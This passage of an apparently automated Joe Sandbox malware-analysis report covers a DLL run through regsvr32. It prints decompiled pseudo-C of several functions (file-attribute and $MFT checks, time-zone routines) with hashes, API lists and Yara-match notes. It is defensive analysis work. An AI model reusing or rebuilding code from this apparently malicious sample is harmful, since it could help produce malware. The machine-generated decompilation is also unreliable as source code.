				asm("xorps xmm1, xmm1");
				 *((long long*)(_t287 - 9)) = _t219;
				asm("movups [ebp-0x1], xmm0");
				asm("movups [ebp-0x19], xmm1");
				if (_t327 == 0) goto 0x8000bb04;
				_t220 =  *((intOrPtr*)(_t327 + 8));
				goto 0x8000b7ee;
				if ( *((intOrPtr*)(_t220 + 8)) != 0) goto 0x8000b7e7;
				_t222 =  *((intOrPtr*)(_t235 + 8));
				if ( *_t222 != 0) goto 0x8000bb04;
				_t275 = _t220;
				E0000000118000F3BC(_t220);
				if ( *((intOrPtr*)(_t275 + 0x7c)) == 1) goto 0x8000bafb;
				if ( *((intOrPtr*)(_t275 + 0x80)) == 1) goto 0x8000bafb;
				if ( *((intOrPtr*)(_t275 + 0x40)) == 0) goto 0x8000bafb;
				_t279 =  *((intOrPtr*)(_t275 + 0x60));
				r12d = 0;
				_t317 =  !=  ? _t222 + 1 : _t316;
				r13d = 0;
				r13d =  !=  ? (0 |  *((intOrPtr*)(_t275 + 0x84)) == 0x00000001) + 1 : r13d;
				goto 0x8000b876;
				if ( *_t279 != 0xffffffff) goto 0x8000b8a2;
				_t280 =  *((intOrPtr*)(_t279 + 0x10));
				if (_t280 != 0) goto 0x8000b86c;
				r8d = 0;
				r14d = 0;
				if (E0000000118000C1DC(_t222 + 1, _t235, _t275, _t275, _t292,  *((intOrPtr*)(_t275 + 0x40)), __r10, _t315, _t321) != 1) goto 0x8000b8a7;
				goto 0x8000b90d;
				_t281 =  *_t280;
				goto 0x8000b87b;
				if (_t281 -  *((intOrPtr*)(_t235 + 0x168)) < 0) goto 0x8000b8b9;
				if (_t281 -  *((intOrPtr*)(_t235 + 0x170)) < 0) goto 0x8000b8dd;
				if (_t281 -  *((intOrPtr*)(_t235 + 0x178)) < 0) goto 0x8000b8cb;
				if (_t281 -  *((intOrPtr*)(_t235 + 0x180)) < 0) goto 0x8000b8dd;
				if (_t281 -  *((intOrPtr*)(_t235 + 0x188)) < 0) goto 0x8000b924;
				if (_t281 -  *((intOrPtr*)(_t235 + 0x190)) >= 0) goto 0x8000b924;
				if ( *((intOrPtr*)(_t235 + 0x108)) != 1) goto 0x8000b8ff;
				if (E0000000118000C290(_t235,  *((intOrPtr*)(_t287 - 0x61)),  *((intOrPtr*)(_t275 + 0x20)), _t281, _t287, L"?:\\$MFT") == 1) goto 0x8000b924;
				E00000001180004968( *((intOrPtr*)(_t275 + 0x84)), 4, _t222 + 1,  *(_t287 - 0x69),  *((intOrPtr*)(_t275 + 0x20)), _t275,  *((intOrPtr*)( *((intOrPtr*)(_t235 + 0x240)) + 0x1b0)), _t319);
				r14d = 1;
				if (r13d != 1) goto 0x8000b94f;
				if (_t281 -  *((intOrPtr*)(_t235 + 0x150)) >= 0) goto 0x8000b986;
				if (r14d != 0) goto 0x8000b99f;
				goto 0x8000b974;
				if (r13d != 2) goto 0x8000b986;
				if (_t281 -  *((intOrPtr*)(_t235 + 0x158)) >= 0) goto 0x8000b986;
				if (r14d != 0) goto 0x8000b99f;
				E00000001180004968( *((intOrPtr*)(_t275 + 0x84)), 4, _t222 + 1,  *(_t287 - 0x69),  *((intOrPtr*)(_t275 + 0x20)), _t275,  *((intOrPtr*)( *((intOrPtr*)(_t235 + 0x240)) + 0x1c0)), _t316);
				goto 0x8000b99f;
				if (r14d != 0) goto 0x8000b99b;
				 *((intOrPtr*)(_t235 + 0x218)) =  *((intOrPtr*)(_t235 + 0x218)) +  *((intOrPtr*)(_t275 + 0x40));
				goto 0x8000baf7;
				if ( *((intOrPtr*)(_t275 + 0x78)) != 0) goto 0x8000b9d9;
				if (GetFileAttributesExW(_t274, _t277) == 0) goto 0x8000b9d9;
				 *((intOrPtr*)(_t287 - 0x59)) =  *((intOrPtr*)(_t287 - 0x2d));
				 *((intOrPtr*)(_t287 - 0x55)) =  *((intOrPtr*)(_t287 - 0x29));
				if (0x18711a00 +  *((intOrPtr*)(_t287 - 0x59)) -  *((intOrPtr*)(_t287 - 0x49)) > 0) goto 0x8000b98b;
				_t297 =  *((intOrPtr*)(_t275 + 0x40));
				if (_t297 -  *((intOrPtr*)(_t287 + _t317 * 8 - 1)) -  *((intOrPtr*)(_t287 + _t317 * 8 - 0x19)) <= 0) goto 0x8000ba9e;
				 *(_t290 + 0x48) =  *(_t290 + 0x48) & 0x00000000;
				 *((long long*)(_t290 + 0x40)) = _t287 - 1 + _t319 * 8;
				r9d = 0;
				 *((long long*)(_t290 + 0x38)) = _t287 - 0x19 + _t319 * 8;
				_t255 =  *((intOrPtr*)(_t287 - 0x61));
				 *(_t290 + 0x30) =  *(_t290 + 0x30) & 0x00000000;
				 *((intOrPtr*)(_t290 + 0x28)) = 1;
				 *(_t290 + 0x20) = _t297;
				if (E0000000118000B10C( *((intOrPtr*)(_t275 + 0x84)),  *((intOrPtr*)(_t287 + _t317 * 8 - 1)) -  *((intOrPtr*)(_t287 + _t317 * 8 - 0x19)), _t235, _t255, _t235,  *((intOrPtr*)(_t235 + 0x148 + _t317 * 8)),  *((intOrPtr*)( *((intOrPtr*)(_t235 + 0x240)) + 0x1c0)), _t315) != 0) goto 0x8000ba9e;
				_t227 =  *((intOrPtr*)(_t275 + 0x60));
				goto 0x8000ba4f;
				if ( *_t227 != 0xffffffff) goto 0x8000ba99;
				if ( *((intOrPtr*)(_t227 + 0x10)) != 0) goto 0x8000ba45;
				 *((long long*)(_t290 + 0x28)) =  *((intOrPtr*)(_t275 + 0x40));
				 *(_t290 + 0x20) = _t255;
				E00000001180004968(0, 2,  *((intOrPtr*)(_t275 + 0x40)),  *(_t287 - 0x69), _t235, _t275,  *((intOrPtr*)( *((intOrPtr*)(_t235 + 0x240)) + 0xc8)), _t286);
				 *((long long*)(_t287 + _t317 * 8 - 1)) =  *((intOrPtr*)(_t287 + _t317 * 8 - 0x19));
				 *((intOrPtr*)(_t235 + 0x218)) =  *((intOrPtr*)(_t235 + 0x218)) +  *((intOrPtr*)(_t275 + 0x40));
				goto 0x8000bafb;
				goto 0x8000ba56;
				 *(_t290 + 0x30) =  *(_t290 + 0x30) & 0x00000000;
				_t283 =  *((intOrPtr*)(_t287 + _t317 * 8 - 0x19));
				 *((long long*)(_t290 + 0x28)) =  *((intOrPtr*)(_t275 + 0x40));
				 *(_t290 + 0x20) =  *(_t290 + 0x20) & 0x00000000;
				if (E0000000118000CB04(0, _t167, _t168, _t169, _t235,  *((intOrPtr*)(_t287 - 0x61)), _t235, _t287, _t275, _t283) != 1) goto 0x8000badc;
				 *((long long*)(_t287 + _t317 * 8 - 0x19)) =  *((intOrPtr*)(_t275 + 0x40)) + _t283;
				goto 0x8000bae1;
				 *((long long*)(_t287 + _t317 * 8 - 1)) = _t283;
				GetSystemTimeAsFileTime(??);
				_t233 =  *((intOrPtr*)(_t287 - 0x51));
				 *((long long*)(_t287 - 0x49)) = _t233;
				 *((long long*)(_t287 - 0x59)) = _t233;
				if (_t222 != 0) goto 0x8000b7f3;
				return E000000011800149A0(_t158, 0,  *(_t287 + 0x17) ^ _t290);
			}











































                                                                                                        0x18000b6fc
                                                                                                        0x18000b6fc
                                                                                                        0x18000b6fc
                                                                                                        0x18000b6fc
                                                                                                        0x18000b6fc
                                                                                                        0x18000b70c
                                                                                                        0x18000b711
                                                                                                        0x18000b718
                                                                                                        0x18000b71f
                                                                                                        0x18000b722
                                                                                                        0x18000b726
                                                                                                        0x18000b729
                                                                                                        0x18000b72d
                                                                                                        0x18000b730
                                                                                                        0x18000b735
                                                                                                        0x18000b739
                                                                                                        0x18000b743
                                                                                                        0x18000b747
                                                                                                        0x18000b750
                                                                                                        0x18000b756
                                                                                                        0x18000b75d
                                                                                                        0x18000b764
                                                                                                        0x18000b768
                                                                                                        0x18000b76f
                                                                                                        0x18000b771
                                                                                                        0x18000b775
                                                                                                        0x18000b777
                                                                                                        0x18000b781
                                                                                                        0x18000b787
                                                                                                        0x18000b790
                                                                                                        0x18000b792
                                                                                                        0x18000b799
                                                                                                        0x18000b79b
                                                                                                        0x18000b7a8
                                                                                                        0x18000b7b0
                                                                                                        0x18000b7ba
                                                                                                        0x18000b7c2
                                                                                                        0x18000b7c5
                                                                                                        0x18000b7c9
                                                                                                        0x18000b7cc
                                                                                                        0x18000b7d0
                                                                                                        0x18000b7d4
                                                                                                        0x18000b7db
                                                                                                        0x18000b7e1
                                                                                                        0x18000b7e5
                                                                                                        0x18000b7f1
                                                                                                        0x18000b7f3
                                                                                                        0x18000b7fa
                                                                                                        0x18000b806
                                                                                                        0x18000b809
                                                                                                        0x18000b815
                                                                                                        0x18000b822
                                                                                                        0x18000b82f
                                                                                                        0x18000b83d
                                                                                                        0x18000b847
                                                                                                        0x18000b851
                                                                                                        0x18000b85d
                                                                                                        0x18000b866
                                                                                                        0x18000b86a
                                                                                                        0x18000b870
                                                                                                        0x18000b872
                                                                                                        0x18000b879
                                                                                                        0x18000b87f
                                                                                                        0x18000b885
                                                                                                        0x18000b890
                                                                                                        0x18000b8a0
                                                                                                        0x18000b8a2
                                                                                                        0x18000b8a5
                                                                                                        0x18000b8ae
                                                                                                        0x18000b8b7
                                                                                                        0x18000b8c0
                                                                                                        0x18000b8c9
                                                                                                        0x18000b8d2
                                                                                                        0x18000b8db
                                                                                                        0x18000b8e4
                                                                                                        0x18000b8fd
                                                                                                        0x18000b919
                                                                                                        0x18000b91e
                                                                                                        0x18000b92b
                                                                                                        0x18000b934
                                                                                                        0x18000b93d
                                                                                                        0x18000b94d
                                                                                                        0x18000b953
                                                                                                        0x18000b95c
                                                                                                        0x18000b964
                                                                                                        0x18000b97f
                                                                                                        0x18000b984
                                                                                                        0x18000b989
                                                                                                        0x18000b98f
                                                                                                        0x18000b996
                                                                                                        0x18000b9a3
                                                                                                        0x18000b9b7
                                                                                                        0x18000b9c6
                                                                                                        0x18000b9cc
                                                                                                        0x18000b9d7
                                                                                                        0x18000b9e3
                                                                                                        0x18000b9ea
                                                                                                        0x18000b9f0
                                                                                                        0x18000ba01
                                                                                                        0x18000ba0e
                                                                                                        0x18000ba11
                                                                                                        0x18000ba16
                                                                                                        0x18000ba19
                                                                                                        0x18000ba21
                                                                                                        0x18000ba29
                                                                                                        0x18000ba3d
                                                                                                        0x18000ba3f
                                                                                                        0x18000ba43
                                                                                                        0x18000ba49
                                                                                                        0x18000ba52
                                                                                                        0x18000ba69
                                                                                                        0x18000ba6e
                                                                                                        0x18000ba7d
                                                                                                        0x18000ba87
                                                                                                        0x18000ba90
                                                                                                        0x18000ba97
                                                                                                        0x18000ba9c
                                                                                                        0x18000baa5
                                                                                                        0x18000baad
                                                                                                        0x18000bab9
                                                                                                        0x18000babe
                                                                                                        0x18000bacc
                                                                                                        0x18000bad5
                                                                                                        0x18000bada
                                                                                                        0x18000badc
                                                                                                        0x18000bae5
                                                                                                        0x18000baeb
                                                                                                        0x18000baef
                                                                                                        0x18000baf3
                                                                                                        0x18000bafe
                                                                                                        0x18000bb2a

                                                                                                        APIs
                                                                                                        Strings
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254654782.0000000180001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000180000000, based on PE: true
                                                                                                        • Associated: 00000003.00000002.254646022.0000000180000000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255324433.000000018007D000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255662562.00000001800D8000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255704642.00000001800DB000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_180000000_regsvr32.jbxd
                                                                                                        Similarity
                                                                                                        • API ID: Time$File$ControlDeviceSystem$Attributes
                                                                                                        • String ID: ?:\$MFT
                                                                                                        • API String ID: 606765496-108156752
                                                                                                        • Opcode ID: dd8295284e444a62017ab5dcbaa355ee43be374c0340646bf26791b059f43778
                                                                                                        • Instruction ID: 5bc1e1903b8b24677db19b3c33f550436936057061fa44bbbeb533c4360a7ef6
                                                                                                        • Opcode Fuzzy Hash: dd8295284e444a62017ab5dcbaa355ee43be374c0340646bf26791b059f43778
                                                                                                        • Instruction Fuzzy Hash: 1DC11A32704A4886EB96DF66D4403ED33A1F748BD8F048526EE4DA7B98DF34D659CB40
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 0241EC08 Relevance: 6.8, Strings: 5, Instructions: 553COMMON
                                                                                                        Download Yara Rule
                                                                                                        Strings
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254435708.0000000002401000.00000020.00001000.00020000.00000000.sdmp, Offset: 02401000, based on PE: false
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_2401000_regsvr32.jbxd
                                                                                                        Yara matches
                                                                                                        Similarity
                                                                                                        • API ID:
                                                                                                        • String ID: %r<o$9/$W$$[9$b9
                                                                                                        • API String ID: 0-2746926221
                                                                                                        • Opcode ID: 372e88b91532cac9e7d675c9386b524a8684a52a294711d05cb4be73676b9cb6
                                                                                                        • Instruction ID: 9280bddafa96bb8f024a0bcccb722a535fec7e908c71f351ba74c4f04f5d8ae3
                                                                                                        • Opcode Fuzzy Hash: 372e88b91532cac9e7d675c9386b524a8684a52a294711d05cb4be73676b9cb6
                                                                                                        • Instruction Fuzzy Hash: EC42F2716087848FD758CFA9C58951BFBE1FB84748F108A1EE4969B6A0D3F8D849CF42
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 0241E61C Relevance: 6.5, Strings: 5, Instructions: 254COMMON
                                                                                                        Download Yara Rule
                                                                                                        Strings
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254435708.0000000002401000.00000020.00001000.00020000.00000000.sdmp, Offset: 02401000, based on PE: false
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_2401000_regsvr32.jbxd
                                                                                                        Yara matches
                                                                                                        Similarity
                                                                                                        • API ID:
                                                                                                        • String ID: -m$>My0$L!$Yx$mIE
                                                                                                        • API String ID: 0-1906869730
                                                                                                        • Opcode ID: 22b7dc11ad1157756b3b5cdfcf55ba8079128d3ee19385201b96a133d6b09b4b
                                                                                                        • Instruction ID: 9460e74e75b207a189e42b439cb022043a483d7d9058524b6ad02b7bb02fb4b5
                                                                                                        • Opcode Fuzzy Hash: 22b7dc11ad1157756b3b5cdfcf55ba8079128d3ee19385201b96a133d6b09b4b
                                                                                                        • Instruction Fuzzy Hash: 3EC12774A1474D8FDB48CFA8D8898DEBBB0FF58304F404A1EE826A7290C7B49655CF95
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 0241D150 Relevance: 6.5, Strings: 5, Instructions: 226COMMON
                                                                                                        Download Yara Rule
                                                                                                        Strings
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254435708.0000000002401000.00000020.00001000.00020000.00000000.sdmp, Offset: 02401000, based on PE: false
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_2401000_regsvr32.jbxd
                                                                                                        Yara matches
                                                                                                        Similarity
                                                                                                        • API ID:
                                                                                                        • String ID: k$ 5$:~$Us$kJ
                                                                                                        • API String ID: 0-3511517462
                                                                                                        • Opcode ID: 132ef2c3d2ebd4036968b354f60746569ead684b7099f6ffe6188c1094d82904
                                                                                                        • Instruction ID: 4ee234d9c5823a709b6850e5911d1b0f04b4509575a6a17121ed46f5a52240af
                                                                                                        • Opcode Fuzzy Hash: 132ef2c3d2ebd4036968b354f60746569ead684b7099f6ffe6188c1094d82904
                                                                                                        • Instruction Fuzzy Hash: 0EA135719146589FDF88DFA9C8898DDBBF1FB48304F50921DE806B7250D778A984CF68
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 02417CC0 Relevance: 6.4, Strings: 5, Instructions: 102COMMON
                                                                                                        Download Yara Rule
                                                                                                        Strings
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254435708.0000000002401000.00000020.00001000.00020000.00000000.sdmp, Offset: 02401000, based on PE: false
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_2401000_regsvr32.jbxd
                                                                                                        Yara matches
                                                                                                        Similarity
                                                                                                        • API ID:
                                                                                                        • String ID: 6!$6#$@$i}$n9
                                                                                                        • API String ID: 0-1787173881
                                                                                                        • Opcode ID: 2b4902dbcb4eb5bc05f0f850ea603cf6fde7e3e2f3ded1d60ec1fc6203fda5f6
                                                                                                        • Instruction ID: c258ed28402ad85512cde5c3114052cf45b31a6afcf5ffda5c7d7c670705a57e
                                                                                                        • Opcode Fuzzy Hash: 2b4902dbcb4eb5bc05f0f850ea603cf6fde7e3e2f3ded1d60ec1fc6203fda5f6
                                                                                                        • Instruction Fuzzy Hash: 0D51A6B090038A8FDF48CF68C8464DE7BB1FB54358F104A1DF866A6290D7B8D665CF95
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 000000018005F2B8 Relevance: 6.1, APIs: 4, Instructions: 143timeCOMMONLIBRARYCODECrypto
                                                                                                        Download Yara Rule
                                                                                                        C-Code - Quality: 87%
                                                                                                        			E0000000118005F2B8(void* __eflags, signed int* __rax, long long __rbx, void* __rdx, void* __r8, signed int _a8, signed int _a16, signed int _a24, long long _a32) {
				void* __rsi;
				void* _t21;
				void* _t22;
				intOrPtr _t31;
				void* _t33;
				void* _t34;
				void* _t35;
				void* _t37;
				void* _t40;
				void* _t41;
				void* _t42;
				signed int _t44;
				signed int _t53;
				intOrPtr _t63;
				intOrPtr _t64;
				signed int* _t67;
				long long _t73;
				void* _t90;
				void* _t93;

				_t90 = __r8;
				_t81 = __rdx;
				_t68 = __rbx;
				_t67 = __rax;
				_a32 = __rbx;
				_t22 = E0000000118005E118(_t21);
				_t84 = _t67;
				E0000000118005E120(_t22);
				_a8 = 0;
				_t85 = _t67;
				_a16 = 0;
				_a24 = 0;
				if (E0000000118005E188(_t67,  &_a8) != 0) goto 0x8005f42b;
				if (E0000000118005E128(_t67,  &_a16) != 0) goto 0x8005f42b;
				if (E0000000118005E158(_t67,  &_a24) != 0) goto 0x8005f42b;
				_t73 =  *0x800da448; // 0x0
				E0000000118005BBE0(_t67, _t73);
				 *0x800da448 = __rbx;
				if (GetTimeZoneInformation(??) == 0xffffffff) goto 0x8005f400;
				_t53 =  *0x800da460 * 0x3c;
				_t8 = _t68 + 1; // 0x1
				_t63 =  *0x800da4a6; // 0x0
				r8d =  *0x800da4b4; // 0x0
				 *0x800da450 = _t8;
				_a8 = _t53;
				if (_t63 == 0) goto 0x8005f36a;
				_a8 = r8d * 0x3c + _t53;
				_t64 =  *0x800da4fa; // 0x0
				if (_t64 == 0) goto 0x8005f385;
				_t31 =  *0x800da508; // 0x0
				if (_t31 == 0) goto 0x8005f385;
				_t44 = (_t31 - r8d) * 0x3c;
				goto 0x8005f387;
				_a24 = _t44;
				_a16 = _t44;
				r8d = 0x80;
				_t33 = E000000011800164C0(_t31 - r8d, 0,  *_t67, __rdx, _t90);
				r8d = 0x80;
				_t34 = E000000011800164C0(_t33, 0, _t67[2], __rdx, _t90);
				r8d = 0x40;
				_t35 = E000000011800164C0(_t34, 0,  *_t67, __rdx, _t90);
				r8d = 0x40;
				E000000011800164C0(_t35, 0, _t67[2], __rdx, _t90);
				_t37 = E0000000118006958C(_t44, 0, _t67, __rbx, _t67[2], _t81, _t67);
				r9d = _t37;
				E0000000118005F550(__rbx, 0x800da464,  *_t85, _t85,  *_t84, _t93);
				r9d = _t37;
				_t40 = E0000000118005E110(E0000000118005F550(_t68, 0x800da4b8, _t85[2], _t85, _t84[2], _t93));
				 *_t67 = _a8;
				_t41 = E0000000118005E100(_t40);
				 *_t67 = _a16;
				_t42 = E0000000118005E108(_t41);
				 *_t67 = _a24;
				return _t42;
			}






















                                                                                                        0x18005f2b8
                                                                                                        0x18005f2b8
                                                                                                        0x18005f2b8
                                                                                                        0x18005f2b8
                                                                                                        0x18005f2b8
                                                                                                        0x18005f2c7
                                                                                                        0x18005f2cc
                                                                                                        0x18005f2cf
                                                                                                        0x18005f2da
                                                                                                        0x18005f2dd
                                                                                                        0x18005f2e0
                                                                                                        0x18005f2e3
                                                                                                        0x18005f2ed
                                                                                                        0x18005f2fe
                                                                                                        0x18005f30f
                                                                                                        0x18005f315
                                                                                                        0x18005f31c
                                                                                                        0x18005f328
                                                                                                        0x18005f338
                                                                                                        0x18005f33e
                                                                                                        0x18005f345
                                                                                                        0x18005f348
                                                                                                        0x18005f34f
                                                                                                        0x18005f356
                                                                                                        0x18005f35c
                                                                                                        0x18005f35f
                                                                                                        0x18005f367
                                                                                                        0x18005f36a
                                                                                                        0x18005f371
                                                                                                        0x18005f373
                                                                                                        0x18005f37b
                                                                                                        0x18005f380
                                                                                                        0x18005f383
                                                                                                        0x18005f387
                                                                                                        0x18005f38c
                                                                                                        0x18005f397
                                                                                                        0x18005f39a
                                                                                                        0x18005f3a3
                                                                                                        0x18005f3a8
                                                                                                        0x18005f3b5
                                                                                                        0x18005f3ba
                                                                                                        0x18005f3c3
                                                                                                        0x18005f3c8
                                                                                                        0x18005f3cd
                                                                                                        0x18005f3df
                                                                                                        0x18005f3e4
                                                                                                        0x18005f3f8
                                                                                                        0x18005f403
                                                                                                        0x18005f408
                                                                                                        0x18005f40d
                                                                                                        0x18005f412
                                                                                                        0x18005f417
                                                                                                        0x18005f41c
                                                                                                        0x18005f42a

                                                                                                        APIs
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254654782.0000000180001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000180000000, based on PE: true
                                                                                                        • Associated: 00000003.00000002.254646022.0000000180000000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255324433.000000018007D000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255662562.00000001800D8000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255704642.00000001800DB000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_180000000_regsvr32.jbxd
                                                                                                        Similarity
                                                                                                        • API ID: _get_daylight_invalid_parameter_noinfo$ErrorInformationLastPrivilegeReleaseTimeZone
                                                                                                        • String ID:
                                                                                                        • API String ID: 1182710636-0
                                                                                                        • Opcode ID: 32863c150dabc48bb3d92555f328b649e0f6bb204a9fbf6e0a72201ceb469c30
                                                                                                        • Instruction ID: b4df939d890862636801d8c2f557ccb9d6da9955ee00caeedb947193a8638578
                                                                                                        • Opcode Fuzzy Hash: 32863c150dabc48bb3d92555f328b649e0f6bb204a9fbf6e0a72201ceb469c30
                                                                                                        • Instruction Fuzzy Hash: 4551B032604A488AF7A2EF21E8817DA7760F78D7C4F40C225FA4993B96DF3DC6498750
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 000000018005423C Relevance: 6.1, APIs: 4, Instructions: 139timeCOMMONCrypto
                                                                                                        Download Yara Rule
                                                                                                        C-Code - Quality: 100%
                                                                                                        			E0000000118005423C(long long __rbx, void* __rcx, void* __rdi, long long __rsi, long long _a16, long long _a24) {
				signed long long _v24;
				void* _v208;
				signed int _v216;
				signed int _t26;
				signed long long _t34;
				signed long long _t35;
				void* _t45;

				_a16 = __rbx;
				_a24 = __rsi;
				_t34 =  *0x800d81f8; // 0x68308725f9ca
				_t35 = _t34 ^ _t45 - 0x00000100;
				_v24 = _t35;
				if (__rcx != 0) goto 0x8005427e;
				E0000000118005B354(__rcx, _t35);
				_t26 = __rcx + 0x16;
				 *_t35 = _t26;
				E0000000118002594C();
				goto 0x8005439b;
				E0000000118005F5D0(_t35);
				_v216 = _t26;
				if (E0000000118005E188(_t35,  &_v216) != 0) goto 0x800543c2;
				 *((short*)(__rcx + 0xa)) = ((0x88888889 * _v216 >> 0x20) + _v216 >> 5) + ((0x88888889 * _v216 >> 0x20) + _v216 >> 5 >> 0x1f);
				E000000011800606E8();
			}










                                                                                                        0x18005423c
                                                                                                        0x180054241
                                                                                                        0x18005424e
                                                                                                        0x180054255
                                                                                                        0x180054258
                                                                                                        0x180054268
                                                                                                        0x18005426a
                                                                                                        0x18005426f
                                                                                                        0x180054272
                                                                                                        0x180054274
                                                                                                        0x180054279
                                                                                                        0x18005427e
                                                                                                        0x180054288
                                                                                                        0x180054293
                                                                                                        0x1800542b5
                                                                                                        0x1800542b9

                                                                                                        APIs
                                                                                                        • _invalid_parameter_noinfo.LIBCMT ref: 0000000180054274
                                                                                                          • Part of subcall function 000000018002599C: IsProcessorFeaturePresent.KERNEL32(?,?,?,?,000000018002594B,?,?,?,?,?,0000000180025836), ref: 00000001800259A5
                                                                                                          • Part of subcall function 000000018002599C: GetCurrentProcess.KERNEL32(?,?,?,?,000000018002594B,?,?,?,?,?,0000000180025836), ref: 00000001800259CA
                                                                                                        • _get_daylight.LIBCMT ref: 000000018005428C
                                                                                                        • GetTimeZoneInformation.KERNEL32(?), ref: 00000001800542E5
                                                                                                        • _invalid_parameter_noinfo.LIBCMT ref: 0000000180054403
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254654782.0000000180001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000180000000, based on PE: true
                                                                                                        • Associated: 00000003.00000002.254646022.0000000180000000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255324433.000000018007D000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255662562.00000001800D8000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255704642.00000001800DB000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_180000000_regsvr32.jbxd
                                                                                                        Similarity
                                                                                                        • API ID: _invalid_parameter_noinfo$CurrentFeatureInformationPresentProcessProcessorTimeZone_get_daylight
                                                                                                        • String ID:
                                                                                                        • API String ID: 4273955056-0
                                                                                                        • Opcode ID: b862d84aea72e19b449f022a618d535fd455b760c7aabcec8485c77785fcefe7
                                                                                                        • Instruction ID: d2ad56168cd05e605fd3370bfd124d9572d675c2382d297e766ebf2721f64722
                                                                                                        • Opcode Fuzzy Hash: b862d84aea72e19b449f022a618d535fd455b760c7aabcec8485c77785fcefe7
                                                                                                        • Instruction Fuzzy Hash: F451127361478882EBA6CF64A8413ED6260FB9C3C4F50D421FA596BB95DF39CB59C700
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 0242B814 Relevance: 5.4, Strings: 4, Instructions: 447COMMON
                                                                                                        Download Yara Rule
                                                                                                        Strings
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254435708.0000000002401000.00000020.00001000.00020000.00000000.sdmp, Offset: 02401000, based on PE: false
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_2401000_regsvr32.jbxd
                                                                                                        Yara matches
                                                                                                        Similarity
                                                                                                        • API ID:
                                                                                                        • String ID: B$o,H$oe$|
                                                                                                        • API String ID: 0-1450200202
                                                                                                        • Opcode ID: eb7dc589868949cc06845e249a59bbac3eb48efeef2b5def8e8bdd618083201d
                                                                                                        • Instruction ID: c160cdf390472f969f15f3b2744a1234729bf1e933723e04e46636800489cd2c
                                                                                                        • Opcode Fuzzy Hash: eb7dc589868949cc06845e249a59bbac3eb48efeef2b5def8e8bdd618083201d
                                                                                                        • Instruction Fuzzy Hash: 6432D3709093C88BDBF8CF24C8856DD7BF1FF48344F90515A984E9A658DBB86685CF42
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 02416F84 Relevance: 5.4, Strings: 4, Instructions: 393COMMON
                                                                                                        Download Yara Rule
                                                                                                        Strings
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254435708.0000000002401000.00000020.00001000.00020000.00000000.sdmp, Offset: 02401000, based on PE: false
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_2401000_regsvr32.jbxd
                                                                                                        Yara matches
                                                                                                        Similarity
                                                                                                        • API ID:
                                                                                                        • String ID: ]={e$e$j3$vY
                                                                                                        • API String ID: 0-123947174
                                                                                                        • Opcode ID: 8a84998f0139f0b08c8b00a087af6dd888c73ee0dc2818e8e645d18272d8ded9
                                                                                                        • Instruction ID: 151e47df4de06cccc986a70efa5a081b13b9c10a54f2f01fe617a2d07d3fd593
                                                                                                        • Opcode Fuzzy Hash: 8a84998f0139f0b08c8b00a087af6dd888c73ee0dc2818e8e645d18272d8ded9
                                                                                                        • Instruction Fuzzy Hash: 8512F271910789EBDB9CCF28C88A9997BB1FF44358F90621DFD0687290D7B9D985CB80
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 02418764 Relevance: 5.4, Strings: 4, Instructions: 363COMMON
                                                                                                        Download Yara Rule
                                                                                                        Strings
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254435708.0000000002401000.00000020.00001000.00020000.00000000.sdmp, Offset: 02401000, based on PE: false
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_2401000_regsvr32.jbxd
